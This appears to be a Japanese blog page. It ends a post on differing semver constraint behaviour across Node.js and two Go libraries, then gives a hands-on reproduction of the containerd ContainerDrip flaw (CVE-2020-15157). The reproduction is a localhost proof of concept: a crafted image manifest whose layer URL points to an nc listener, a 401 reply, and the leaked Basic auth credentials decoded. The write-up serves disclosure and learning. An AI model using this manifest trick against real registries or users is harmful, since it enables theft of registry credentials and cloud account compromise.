fmt.Println(c2.Check(v2)) // true

両方trueです。Node.jsと一緒!やはり同じ挙動なんだ!!と喜ぶのはまだ早いです。以下のケースを見てみます。

console.log(semver.satisfies('1.2.3-beta', '>1.0.0-alpha'))

明らかに1.2.31.0.0より大きいですし、制約にもPre-releaseが付いている、つまりtrueだと考えるかもしれませんが残念なことにこれはfalseです。なぜかというと、 >1.0.0-alpha1.0.0 のPre-releaseを使う覚悟はあるがそれ以外のPre-releaseが使いたいわけではないとNode.jsでは解釈されるからです。つまり >1.0.0-alpha, <1.0.0 の範囲でのみPre-releaseは許可するということになり、1.0.1-alpha1.2.3-betaなどはいつも通りfalseです。

そしてGoです。

ver := "1.2.3-beta"
con := ">1.0.0-alpha"

v1, _ := version.NewVersion(ver)
c1, _ := version.NewConstraint(con)
fmt.Println(c1.Check(v1)) // false

v2, _ := semver.NewVersion(ver)
c2, _ := semver.NewConstraint(con)
fmt.Println(c2.Check(v2)) // true

https://play.golang.org/p/imrDaPAfFHV

大変悲しい結果となっています。今までNode.jsとことごとく異なる挙動をしてきた hashicorp/go-version がfalse、つまりNode.jsと同じ挙動です。一方、今までNode.jsに寄り添ってきたMasterminds/semver がここで謀反を起こしてtrueとなっています。Masterminds/semver にとっては、制約にPre-releaseを入れた時点で全てのPre-releaseを使うという意思表示であると解釈しているということです。

ドット区切りのPre-release

- のあとのPre-releaseも実はドット区切りが可能です。これはsemverの仕様として定義されています。空よりもバージョンが何かしらある方が大きくなるため、以下のケースはtrueです。

console.log(semver.satisfies('1.0.0-alpha.beta', '>1.0.0-alpha')) // true

Goも見てみます。

ver := "1.0.0-alpha.beta"
con := ">1.0.0-alpha"

v1, _ := version.NewVersion(ver)
c1, _ := version.NewConstraint(con)
fmt.Println(c1.Check(v1)) // false

v2, _ := semver.NewVersion(ver)
c2, _ := semver.NewConstraint(con)
fmt.Println(c2.Check(v2)) // true

もう結果が異なることには何も驚かなくなっていると思いますが、hashicorp/go-version ではfalseになります。

実はこれは解釈の違いではなく、明確にsemver内で定義されています。

Example: 1.0.0-alpha < 1.0.0-alpha.1 < 1.0.0-alpha.beta < 1.0.0-beta < 1.0.0-beta.2 < 1.0.0-beta.11 < 1.0.0-rc.1 < 1.0.0.

つまりこれはシンプルに hashicorp/go-version のバグです。解釈の違いにより結果が異なるところと、バグにより結果が異なるところを正確に見定めていく必要があります。

特別なOperator

上記の例では >= など一般的なoperatorを使ってきましたが、実際には各言語はもう少し複雑なバージョン制約を持っています。例えばNode.jsでは ^~ が使えます。~は以下のような制約を意味します。

  • ~1.2.3 := >=1.2.3 <1.(2+1).0 := >=1.2.3 <1.3.0
  • ~1.2 := >=1.2.0 <1.(2+1).0 := >=1.2.0 <1.3.0 (Same as 1.2.x)
  • ~1 := >=1.0.0 <(1+1).0.0 := >=1.0.0 <2.0.0 (Same as 1.x)

RubyGemsでは ~> (Pessimistic Operator)というものが使えます。これはNode.jsの ~ と非常に似ているのですが、若干異なります。

  • ~>1.2.3 := >=1.2.3 <1.3
  • ~>1.2 := >=1.2 <2
  • ~>1 >=1.0.0 <2.0.0

Node.jsのものと比べてほしいのですが、 ~1.2 の場合の範囲が異なります。ですが残念なことに多くのライブラリで同様に扱ってしまい誤った結果を返すことがあります。もちろん ~>RubyGems準拠だ、と言っていない場合は ~ の挙動をしても厳密には誤りとは言えないかもしれませんが、~>という独特なoperatorを使っている以上はRubyGemsに則るべきかなと思います。

ver := "1.6"
con := "~1.4"

v1, _ := version.NewVersion(ver)
c1, _ := version.NewConstraint(con)
fmt.Println(c1.Check(v1)) // true

v2, _ := semver.NewVersion(ver)
c2, _ := semver.NewConstraint(con)
fmt.Println(c2.Check(v2)) // false

この場合は hashicorp/go-version が正しくて Masterminds/semver の挙動がおかしいかなと思います。もっとも、上で述べたようにMastermminds/semver~>RubyGems準拠と言っていないので完全な誤りとは少し言いにくいです。

違いまとめ

実はまだまだ違いがあるのですが、書くの疲れてきたし改めて読み直すとやはり誰も興味ないだろうなと思ったので一旦終わりにします。気分が向いたら追記します。

表にまとめましたが、同じ挙動をしているものが一つもないことが分かるかと思います。

Node.js hashicorp Masterminds
1.3.4 = 1 true false true
1.3.4 > 1 false true false
1.2.3-alpha > 1.0.0 false false false
1.0.0-beta > 1.0.0-alpha true true true
1.2.3-beta > 1.0.0-alpha false false true
1.0.0-alpha.beta > 1.0.0-alpha true false *1 true
1.6 ~> 1.4 false *2 true false

*1 これはただのバグ
*2 ~>~ とした場合の結果

Goの方は比較用のスクリプトをGo Playgroundに置いたのでそちらも合わせてどうぞ。

The Go Playground

余談

Semantic Versioning一つとってもこれだけ大変です。それぞれのディストリビューション・言語は独自のセマンティクスを持つのでただの地獄です。自分の用途だとhashicorpのライブラリのほうが近いのですが、他のPRなども取り込まれていませんしupstreamを改修するのは諦めて自作しました。オプションで*でなく0のパディングしたりPre-releaseを常に比較対象に入れたりとかも出来るようにしてあります。急いで作ったのでまだ完全に動くか自信ないですが、今のところそこそこ思った通りに動いてくれています。

github.com

他にもRubyGems用やnpm用も作りました。全部挙動が異なるのでテストを書きながら混乱して頭がおかしくなりそうになりました。また、1つのケースを通すと別のケースが落ちるというのが多発するのも辛いです。

github.com

github.com

これらを育てていきつつ他の言語も作る予定です。ただaquasecurity/go-version の挙動で他の言語でも割と正しく動くので、一旦PHPやRust、.NETはそれで対応して随時作っていくという感じで行きます。

自分はクラウドネイティブセキュリティの会社にいるため、チームメンバーはeBPFでバリバリ開発してeBPF Summit登壇したり、Kubernetes Operator作ってKubeCon North America 2020登壇したり、ボスは相変わらず基調講演とかで発表しまくったり、という状況の中で自分だけ毎日必死にバージョンを比較し続けていて「くらうどねいてぃぶってなんだ...?」状態になっています。先日のBerkeley DBの記事なども時代を逆行しまくりなわけですが、他の類似OSSがうまく実装できていないこういう細かい所の差が最終的にユーザに伝わると信じて頑張っています。

派手な新機能も良いですが、細かいところでバグが多いとやはり分かる人には分かるんじゃないかと思っています。なので地味であってもコツコツと改善を続けているのですが、実際にOSSにおいてそういったところが本当に重要なのかは自分にもまだ分かりませんし、これが実らなかったら次以降は細かいところは捨て置いて新機能だけ作る人になる予定です。

ちなみに自分のOSSのライバルとしてAnchoreやClairといったものがあるのですが、バージョン比較はずっとバグってました。昔はPR出して直してたのですが今はライバルだしな、と放置していたら結局自作を諦めて自分の作ったOSS使い始めてました。大企業ですら諦めてますし、やはりバージョン比較は地味な割に難しいんだなと思います。単に労力に対して割に合わないという判断かもしれませんが。

まとめ

Semantic Versioningの闇という記事のタイトルにしましたが、実際にはSemantic Versioningそのものが悪いと言うよりはバージョン制約に関する定義がないという点、実際にはほとんどのエコシステムでSemantic Versioningに従っていないという点が問題であるという内容でした。なのでバージョニングの問題と言うと若干語弊があるのですが、制約についても定義してくれていればこういう事は起きなかったと思うので、少し誇張した感じにはなっていますがこのタイトルとしました。用途の違いから来ているところもあるのですが(Pre-releaseはインストールしたくないとか)、それであれば違うoperatorを使うとかで全く同じ記号で異なる結果になることは避けられたのではないかと思います。「バージョニング?そんなもんsemverに従うだけだから簡単じゃないの?」と思っている人に現実を知ってもらえれば幸いです。

CVE-2020-15157 (ContainerDrip) を試す

Write-up公開直後に試してたんですが、諸事情で公開を待っていたやつです(後述)。

概要

9, 10月と専業主婦をやっていてしばらく今日の献立しか頭になかったのでリハビリがてら簡単そうな脆弱性を触ってみました。

ContainerDripという名前から想像されるようにcontainerd脆弱性です。発見者が丁寧に解説も書いてくれています。2020/10/15に公開されています。

darkbit.io

ということで概要は上のブログを見れば理解できます。簡単に説明すると、containerdのctrコマンドで細工されたイメージをpullする時に認証情報を誤って流出させてしまうという脆弱性です。攻撃者の用意したイメージをpullしないといけないので外部からの能動的な攻撃が可能なわけではなく即座に危険ということはないですが、それでもpullするだけで刺さってしまうので攻撃実現性が著しく低いわけでもありません。

認証情報が流出すれば攻撃者はレジストリに任意のイメージをpush可能になるので、イメージにバックドアを仕込まれたり仮想通貨マイナーを仕込まれたりしますし、クラウドサービスの設定によっては他のAPIを叩けてしまう可能性もあります(後述)。

こちらにも解説ブログがありますので一応載せておきます。

blog.aquasec.com

脆弱性詳細

コンテナイメージはコンテナレジストリに保存されるわけですが、大きく分けてマニフェスト・コンフィグ・レイヤーの3つで構成されています。マニフェストというのはレジストリにおけるそのイメージのメタ情報を含んでいて、レイヤーのハッシュ値とかが書いてあります。クライアントはまず最初にマニフェストを取得し、次にハッシュ値に応じたレイヤーを取りに行くという流れでイメージのpullは行われています。普段docker pullするだけで中がどうなってるのか分からない人は挙動を理解するためのブログがあるのでそちらを併せて見てください。

knqyf263.hatenablog.com

このレジストリAPIで使われるマニフェストは以下で仕様が定義されています。

docs.docker.com

マニフェストの例は以下のようになります。

{
    "schemaVersion": 2,
    "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
    "config": {
        "mediaType": "application/vnd.docker.container.image.v1+json",
        "size": 7023,
        "digest": "sha256:b5b2b2c507a0944348e0303114d8d93aaaa081732b86451d9bce1f432a537bc7"
    },
    "layers": [
        {
            "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
            "size": 32654,
            "digest": "sha256:e692418e4cbaf90ca69d05a66403747baa33ee08806650b51fab815ad7fc331f"
        },
        {
            "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
            "size": 16724,
            "digest": "sha256:3c3a4604a545cdc127456d94e421cd355bca5b528f4a9c1905b15da2eb4a4c6b"
        },
        {
            "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
            "size": 73109,
            "digest": "sha256:ec4b8955958665577945c89419d1af06b5f7636b4ac3da7f12184802ad867736"
        }
    ]
}

先ほど説明したようにlayersの下に3つの要素があり、それぞれにdigestが存在しています。ここから3つのレイヤーでイメージが構成されていることが分かります。これは通常のマニフェストなのですが、実は先程のページ内でlayersの下に定義可能なフィールドが実は4つあることが分かります。例ではmediaType, size, digestの3つしかないですが、urlsというフィールドも定義されています。

f:id:knqyf263:20201030160013p:plain

urlsのフィールドの説明には以下のように書いています。

Provides a list of URLs from which the content may be fetched. Content should be verified against the digest and size. This field is optional and uncommon.

通常であればマニフェストと同じサーバにレイヤーも存在するわけですが、urlsを指定した場合はクライアントに別サーバに取得しにいかせることが可能ということです。This field is optional and uncommon. といかにもセキュリティリサーチャーが好きそうなことが書いてあります。"ここに脆弱性がありまぁす"と宣言しているようなものです。

自分はcurlでpullをするブログでもこのドキュメントに触れていますし、定期的に読んでいるので2万回以上は見ています。なのでurlsの存在ももちろん知っていたのですが最近は能動的に脆弱性を探すことはしないポリシーなので普通にスルーしちゃっていました。自分もある時点からOSS開発者という自覚を持つようになってしまったので、他OSS脆弱性を見つけると動悸がするんですよね...

ということで今回の脆弱性はこのurlsを悪用したものとなっています。ctrによって認証情報が流出するのは以下の流れです。

  1. ctrレジストリAからイメージのマニフェストをダウンロードする(この時仮に認証情報Xを使うとする)
  2. 取得したマニフェストurlsを含んでおり、レジストリBを指している
  3. ctrはレイヤーをレジストリBから取得しようとする(認証情報なし)
  4. レジストリBは401 Unauthorizedを返す
  5. ctrは誤って認証情報XをレジストリBに送ってしまう

認証情報XというのはレジストリAのためのものであって、それを誤ってレジストリBに送ってしまえばレジストリBの所有者に見られてしまいます。つまり、攻撃者が自分の用意したサーバをurlsに指定して、その細工したマニフェストを持つイメージをpullさせれば自分の用意したサーバに認証情報Xを送らせることが可能ということです。その後は得た認証情報XでレジストリAにログインして悪の限りを尽くせば完了です。

ここで、先程の発見者によるブログでは現実的なシナリオとしてGKEを挙げています。cos_containerdをノードとして利用するとGKEクラスタcontainerdが使用できます。

cloud.google.com

そしてGKE上から攻撃者がGCRに用意したイメージをpullさせます。

---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: honk
  labels:
    app: honk
spec:
  replicas: 1
  selector:
    matchLabels:
      app: honk
  template:
    metadata:
      name: honk
      labels:
        app: honk
    spec:
      containers:
        - name: honk
          image: gcr.io/my-project-name/myimage:latest
          imagePullPolicy: Always

この時、GCRからイメージをpullするためにGKEクラスターにアタッチされたService Accountを利用します。

cloud.google.com

このService Accountが攻撃者に流出するということになります。ただしGKEではscopeを絞っているらしく、デフォルトでは権限はそこまで強くないとのことです。

cloud.google.com

ここら辺の設定で強めの権限を付与してしまっていたりすると、レジストリの認証情報流出にとどまらずアカウント乗っ取りにつながる可能性があるということです。詳細が気になる人は発見者ブログを見て下さい。

ということで詳細の説明終わりです。

試す

解説見てふーんで終わりだと面白くないので自分で試してみましょう。

Docker Registry作成

まずレジストリが必要なのでコンテナで起動します。自前でDocker RegistryをホスティングできるようにOSSレジストリがDockerから提供されています。

docs.docker.com

単に起動するだけなら registry:2 をdocker runすれば良いのですが、今回は認証ありにしたいので最初にhtpasswdを用意します。

$ export AUTH_DIR=$(mktemp)
$ docker run --rm --entrypoint htpasswd registry:2.7.0 -Bbn testuser testpassword > $AUTH_DIR/htpasswd

testuser:testpasswordでhtpasswdを作成しました。ちなみにドキュメントではregistry:2でhtpasswdを打ってますが、最新のイメージだとhtpasswdが入ってなくて動きません。なので2.7.0を指定しています。Request docs changesから修正リクエスト出せるので、貢献するチャンスかもしれません。

では起動します。

$ docker run -d \
  -p 5000:5000 \
  --restart=always \
  --name registry \
  -v $AUTH_DIR:/auth \
  -e "REGISTRY_AUTH=htpasswd" \
  -e "REGISTRY_AUTH_HTPASSWD_REALM=Registry Realm" \
  -e REGISTRY_AUTH_HTPASSWD_PATH=/auth/htpasswd \
  registry:2.7.0

これでDocker Registryの起動は終わりです。

イメージのpush

先程立ち上げたDocker Registryに適当なイメージをpushしましょう。

$ docker pull alpine:3.11
$ docker tag alpine:3.11 localhost:5000/alpine:3.11
$ docker push localhost:5000/alpine:3.11
The push refers to repository [localhost:5000/alpine]
3e207b409db3: Preparing
no basic auth credentials

設定したとおり、認証が必要になっています。ということでdocker loginします。

$ echo testpassword | docker login localhost:5000 -u testuser --password-stdin
Login Succeeded

改めてpushします。

$ docker push localhost:5000/alpine:3.11
...
3.11: digest: sha256:39eda93d15866957feaee28f8fc5adb545276a64147445c64992ef69804dbf01 size: 528

エラーが出なければOKです。

マニフェストの確認

マニフェストを確認してみます。

$ curl -s -u "testuser:testpassword" -H "Accept: application/vnd.docker.distribution.manifest.v2+json" http://localhost:5000/v2/alpine/manifests/3.11
 | jq .
{
  "schemaVersion": 2,
  "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
  "config": {
    "mediaType": "application/vnd.docker.container.image.v1+json",
    "size": 1507,
    "digest": "sha256:f70734b6a266dcb5f44c383274821207885b549b75c8e119404917a61335981a"
  },
  "layers": [
    {
      "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
      "size": 2813316,
      "digest": "sha256:cbdbe7a5bc2a134ca8ec91be58565ec07d037386d1f1d8385412d224deafca08"
    }
  ]
}

Acceptヘッダーを指定しないとv1のマニフェストが返ってきちゃうので気をつけて下さい。認証が必要なので-uオプションで渡しています。JSONを見て分かる通り、digestが指定されています。これを細工します。

マニフェストの更新

上のマニフェストを保存してdigestを削除しurlsを足します。今回は http://localhost:10000 を用意しています。面倒なので両方localhostでやっていますが、これは実際には別サーバだと思って下さい。

$ cat manifest.json
{
  "schemaVersion": 2,
  "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
  "config": {
    "mediaType": "application/vnd.docker.container.image.v1+json",
    "size": 1507,
    "digest": "sha256:f70734b6a266dcb5f44c383274821207885b549b75c8e119404917a61335981a"
  },
  "layers": [
    {
      "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
      "size": 2813316,
      "urls": [
        "http://localhost:10000"
      ]
    }
  ]
}

これをレジストリにPUTします。

curl -s -u "testuser:testpassword" -H "Content-type: application/vnd.docker.distribution.manifest.v2+json" -XPUT -d@manifest.json http://localhost:5000/v2/alpine/manifests/3.11

これで準備OKです。うまく設定できたかもう一度GETで確かめても良いと思います。

攻撃者のサーバを準備する

では攻撃者サーバ想定である http://localhost:10000 を用意します。これは単にncで良いです。

$ nc -kl 10000

ctrでpullする

自分が使ったバージョンは以下です。

$ ctr -v
ctr containerd.io 1.2.13

ctrでpullします。認証が必要なので--userで渡しています。

$ ctr image pull --user testuser:testpassword localhost:5000/alpine:3.11

するとncしていた方には以下のようなリクエストが飛んできます。

GET / HTTP/1.1
Host: localhost:10000
User-Agent: containerd/1.2.13
Accept: application/vnd.docker.image.rootfs.diff.tar.gzip, *
Accept-Encoding: gzip

まだ認証情報は飛んできていません。攻撃者サーバで401 Unauthorizedを返す必要があります。

401を返す

適当に以下のようなファイルを用意します。

$ cat response.txt
HTTP/1.0 401 Unauthorized
Docker-Distribution-Api-Version: registry/2.0
Www-Authenticate: Basic realm="Registry Realm"

あとはこれをncに渡してレスポンスとして返すようにすればOKです。

$ ( cat response.txt ) | nc -kl 10000

再度ctrでpullをするとまず通常のリクエストが飛んできて、401を返したあと以下のリクエストが来ます。

$ ( cat response.txt ) | nc -kl 10000
...

GET / HTTP/1.1
Host: localhost:10000
User-Agent: containerd/1.2.13
Accept: application/vnd.docker.image.rootfs.diff.tar.gzip, *
Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3N3b3Jk
Accept-Encoding: gzip

Authorization ヘッダが含まれていることが分かります。

$ echo dGVzdHVzZXI6dGVzdHBhc3N3b3Jk | base64 -d
testuser:testpassword

ということで無事にusername/passwordを取得できました。攻撃者は認証情報を得たのであとは好きにレジストリを操作できます。

余談

この検証自体はすぐに終わってブログも公開しようと思ったのですが、実はこの脆弱性を検証している時に某OSSに別の脆弱性を見つけてしまいました。念のためmasterから落としてきてソースコードを読んでデバッガでも試したのですが、やはり刺さる作りになっていましたし再現しました。そこそこインパクトのあるものでしたし見つけてしまった以上は報告しておくかということで報告したのですが、既知で修正に取り組んでいるとのことでした。じゃあその修正が公開されたらブログも公開しようということでしばらく待っていたのですが、リリースまで時間がかかりそうだったのでそちらの詳細は伏せて先にブログは公開することにしました。

そちらの脆弱性修正がリリースされたらこのブログに追記するかもしれません。

まとめ

よく知らないイメージをpullするだけでも怖いということです